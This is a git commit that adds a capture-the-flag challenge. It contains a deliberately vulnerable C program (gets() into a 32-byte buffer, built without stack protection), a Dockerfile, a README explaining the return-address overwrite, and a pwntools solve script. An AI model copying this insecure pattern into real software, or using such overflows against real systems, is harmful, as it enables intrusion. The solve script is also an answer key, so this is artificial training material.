initial commit

This commit is contained in:
Robbe De Greef
2022-11-24 22:43:03 +01:00
commit be3cd0d84b
98 changed files with 23499 additions and 0 deletions
+17
View File
@@ -0,0 +1,17 @@
FROM ubuntu
RUN mkdir /src
WORKDIR /src
COPY call_me_maybe.c .
RUN apt-get update && \
apt-get install -y build-essential
RUN gcc -fno-stack-protector -o call_me_maybe call_me_maybe.c
RUN cp /src/call_me_maybe /
RUN rm -r /src
RUN chmod +x /call_me_maybe
RUN useradd ctf
USER ctf
CMD ["/call_me_maybe"]
+28
View File
@@ -0,0 +1,28 @@
== Call me maybe ==
=== Description ===
We are given a mysterious address, can we use it to recover the flag?
=== Flag ===
Whatever is set in the environment variable IG_FLAG
=== Public Files ===
No file should be given
=== Challenge internals ===
Classical buffer overflow, replace the return address with address given, this will print the flag.
Basically, just enter 40 A's and the address in little endian.
+-------------------------+-----------------+-----------------+
| 32 byte buffer | EBP 8 bytes | RET ADDR |
+-------------------------+-----------------+-----------------+
^replace with A ^replace with A ^replace with addr
=== Deployment instructions ===
TODO, something something netcat?
BIN
View File
Binary file not shown.
+39
View File
@@ -0,0 +1,39 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void printflag() {
printf("The flag is %s\n", getenv("IG_FLAG"));
fflush(stdout);
}
void login() {
char buffer[32];
printf("Enter the password: \n");
fflush(stdout);
gets(buffer);
if(strcmp(buffer, getenv("IG_PASSWORD")))
{
printf ("Wrong!\n");
fflush(stdout);
}
else
{
printf ("Correct!\n");
fflush(stdout);
printflag();
}
}
int main()
{
printf("Pointer to printflag is %p\n", printflag);
fflush(stdout);
login();
return 0;
}
Binary file not shown.
+14
View File
@@ -0,0 +1,14 @@
from pwn import *
offset = 32
r = process('../call_me_maybe')
stdout = r.recvuntil("Pointer to printflag is 0x")
addr = int(r.recvuntil("\n"), 16)
print("Pointer is %x" % addr)
exploit = "A"*offset + "B"*8 + p64(addr)
r.sendline(exploit)
print(r.recv())
+8
View File
@@ -0,0 +1,8 @@
#!/bin/bash
gcc -fno-stack-protector -o call_me_maybe call_me_maybe.c
export IG_PASSWORD=random_password
export IG_FLAG="CSC{IG_CTF}"
./call_me_maybe